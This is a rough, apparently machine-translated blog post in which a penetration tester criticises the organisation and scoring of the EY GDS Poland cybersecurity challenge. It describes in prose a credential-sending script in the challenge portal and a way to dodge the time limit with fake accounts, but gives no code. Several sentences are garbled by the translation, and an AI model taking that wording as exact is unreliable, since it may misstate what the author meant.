कई बार, मेरे ज्ञान और कौशल के हिस्से के रूप में, मैं सभी प्रकार के पाठ्यक्रमों, प्रशिक्षणों और सुरक्षा चुनौतियों में भाग लेता हूं । उनमें से एक "EY GDS पोलैंड साइबर सुरक्षा चैलेंज" https://challengerocket.com/ey-cybersecurity-challenge/ पर आयोजित किया गया । विवरण के अनुसार, यह एक सुरक्षा लेखा परीक्षा आयोजित करने में शामिल था-"लिनक्स और वेब पोर्टल" के आयोजकों का हवाला देते हुए । बदले में इसके नतीजों के आधार पर रिपोर्ट बनाई जानी चाहिए । इसमें उन कमजोरियों का विवरण था जो प्रणाली की सुरक्षा और सुरक्षा के समग्र स्तर को बढ़ाने के तरीके पर सिफारिशों को खतरा है । यह नोट किया गया था कि अधिसूचना कम, संक्षिप्त होनी चाहिए और इसमें उनके अस्तित्व की कमजोरियों और साक्ष्यों का संक्षिप्त विवरण होना चाहिए। यही है, यह कहा जा सकता है कि प्रवेश परीक्षण आयोजित करने के लिए मानक प्रक्रिया के अनुसार सब कुछ होना था।

प्रतियोगिता की वास्तविक तस्वीर और इससे संबंधित शंकाओं को स्पष्ट करने के सवाल पर आयोजकों के रवैये ने मुझे थोड़ा सकारात्मक तरीके से आश्चर्यचकित कर दिया। मेरी रिपोर्ट 0 अंक रेटेड था, सब से ऊपर, जूरी सदस्यों का हवाला देते हुए "स्कैनर परिणाम एक pentest रिपोर्ट नहीं हैं."

छवि में एक खाली ऑल्ट विशेषता है; फाइल नाम की इमेज-7-1024x96.png

यह मेरे लिए एक हानिकारक आकलन है, और मैं इस मुद्दे को और अधिक ठीक स्पष्ट करने की कोशिश की (आरक्षण के बिंदु 6 में संभावित कारण), लेकिन, संक्षेप में, साप्ताहिक ईमेल के अलावा (लगभग एक महीने के लिए), जैसे-"किसी दिन हम वहां जवाब दे सकते हैं", मैं एक स्पष्टीकरण नहीं मिला ।

छवि में एक खाली ऑल्ट विशेषता है; इमेज-5 नाम की फाइल.png
छवि में एक खाली ऑल्ट विशेषता है; इमेज-6 नाम की फाइल.png

इसलिए यह प्रविष्टि, जिसमें मैं ' थेंडजा के प्रमुख ' और इसके संगठन और कार्यान्वयन के रूप के बारे में अपनी आपत्तियों के साथ एक रिपोर्ट साझा करता हूं । इसमें कुछ कमियां थीं।

फिर भी, मुझे विश्वास है कि मेरे बुरे अनुभवों को दुर्भाग्यपूर्ण घटनाओं की एक श्रृंखला का परिणाम है और सद्भावना की कमी नहीं है । मैं एक सूची के रूप में आरक्षण बंद करो और मुझे आशा है कि वे विलियम एडवर्ड्स Deming के चक्र में सेवा करेंगे:

  1. सभी मज़ा कभी-कभी सीमित था – 2h। मेरी राय में, यह अभी तक बहुत कम समय के लिए बाहर 2 प्रवेश परीक्षण ले और एक पूरी रिपोर्ट के आधार पर तैयार है ।
  2. दूसरे के सिर में भाग लेने के लिए डाउनलोड करने के लिए और दो वीएमएस की एक छवि माउंट (उपलब्ध समय 2h का उपयोग कर) था । यह हमेशा नीरस तकनीकी कारणों के लिए संभव नहीं है । मेरी राय में, यह शामिल लोगों के लिए आसान होगा अगर मशीनों तक पहुंच एक VPNa के माध्यम से पहुँचा जा सकता है और प्रतिभागियों को उन्हें अपने पक्ष में कॉन्फ़िगर नहीं करना होगा।
  3. 2h सीमा गलत तरीके से छोड़ा जा सकता है-फर्जी डेटा के लिए एक खाता बनाकर कार्यों तक पहुंचने । इस के खिलाफ सुरक्षा का एकमात्र बिंदु विनियमों में प्रावधान था: "4 । प्रत्येक प्रतिभागी प्रतियोगिता के लिए पंजीकरण कर सकता है और केवल एक बार प्रतियोगिता कार्य ले सकता है। परीक्षण शुरू करने के बाद, प्रतिभागी को इसे दिए गए समय सीमा के भीतर पूरा करना होगा। टेस्ट पूरा होने के बाद इसे फिर से लेना संभव नहीं होगा। जो प्रतिभागी कई खातों से प्रतियोगिता के लिए पंजीकरण कराने और एक से अधिक बार परीक्षा लेने की कोशिश करेंगे, उन्हें अयोग्य घोषित कर दिया जाएगा । मंच ऐसी कार्रवाइयों से रक्षा नहीं करता है। ऐसा लगता है कि आप कहते हैं कि आपको सुरक्षित ऐप बनाने की आवश्यकता नहीं है क्योंकि उन्हें हैक करना गैरकानूनी है।
  4. एक्सेस पासवर्ड काम नहीं करते थे/मशीनों में से एक के लिए अकरोषित थे । इस रिपोर्टिंग के बाद, मुझे यह जवाब मिला: "जब मशीन तक पहुंच की बात आती है – आपने अनुचित तरीके से गलत डेटा का उपयोग किया होगा। यह एक मशीन के लिए पूरी तरह से अलग है और दूसरे की तुलना में बहुत अधिक उपयोग है । मैं इस राय की वैधता कहने की स्थिति में नहीं हूं । मैंने मैनुअल में चरणों का पालन किया और उनमें दिए गए पासवर्ड का उपयोग करने की कोशिश की। मुझे अन्य प्रतिभागियों से जानकारी मिली कि उन्होंने "क्रेव्स" भी काम नहीं किया। मशीन एक अलग तरीके से पहुँचा जा सकता है-ftp सेवा के माध्यम से । तभी तो भ्रामक निर्देश क्यों?
  5. "वेब पोर्टल" में एक स्क्रिप्ट सिलना था, जिसने "ई-लॉगर" नामक एक बाहरी वेब सर्वर से संपर्क किया। यह एक अजीब स्थिति थी, क्योंकि वह "वेब पोर्टल" पर पंजीकरण के समय फोन कर रहा था और उसे लॉगिन और पासवर्ड का इस्तेमाल भेज रहा था। इसके अलावा ऐसा करने में उन्होंने खेल से जुड़े लोगों के आईपी एड्रेस तक पहुंच की। क्या किसी ने आवेदन में एक दुर्भावनापूर्ण कीलॉगर सिल दिया है? मैंने इस मुद्दे को परीक्षणों के अवशेष के रूप में आंका, जो वहां गलती से पाया गया था । हालांकि, आयोजक ने कहा कि यह जानबूझकर वहां था: "जबकि स्क्रिप्ट के संदर्भ में-यह एक परीक्षण स्क्रिप्ट नहीं है, लेकिन जानबूझकर "अजीब" XSS की भेद्यता के साथ स्क्रिप्ट देख-Persistance (जो सुरक्षा कमजोरियों में से एक है का पता लगाया जाएगा । पता EY सर्वर के लिए नहीं है, लेकिन अजुरा में एक तुच्छ और गैर कार्यात्मक उस्तरा के लिए है ।
  6. प्रवेश परीक्षण पूरा करने और रिपोर्ट को शामिल करने के लिए अगले-जाने वाले क्षेत्र पर क्लिक करने के बाद, यह पता चला कि यह केवल एक खिड़की में किया जा सकता है जो स्पष्ट पाठ स्वीकार करता है, बिना किसी प्रारूपण के। इस प्रकार, अंतिम रिपोर्ट पठनीयता और ग्राफिक्स संलग्न करने की संभावना से रहित थी। मुझे लगता है कि ऐसा हो सकता है कि मेरी रिपोर्ट को स्कैनर परिणाम के रूप में गलत तरीके से क्यों किया जा सकता था । मैं इसे अंत तक स्पष्ट नहीं कर पाया हूं, क्योंकि जैसा कि मैंने कहा, मुझे एक महीने से कोई ठोस उत्तर नहीं मिला है ।
  7. आयोजक ने चुनौती के परिणामों को नियमित समय में प्रकाशित नहीं किया । नियमित समय पारित करने और यह पूछने के बाद कि परिणाम कब दिखाई देंगे, उन्होंने नियम और शर्तों में तिथियों को चुपके से बदल दिया:
वैधानिक समय सीमा का पालन करने में विफलता की रिपोर्ट करने से पहले
वैधानिक समय सीमा का पालन करने में विफलता की सूचना देने के बाद

8. आयोजक प्रतिभागियों के नाम से पता चला, तथ्य यह है कि यह नियमों में नहीं होगा के बावजूद-"4 । प्रतियोगिता में प्रतिभागियों द्वारा प्राप्त परिणाम प्रतिभागियों के नाम और उपनाम प्रकाशित किए बिना प्रतियोगिता के अंत के बाद प्रकाशित किया जाएगा । क्या यह जीडीपीआर का उल्लंघन है?

विजेता को बधाई और आप जारी सफलता की कामना! 🙂

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!). <br> Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Bookmark the permalink.

Podziel się swoją opinią na temat artykułu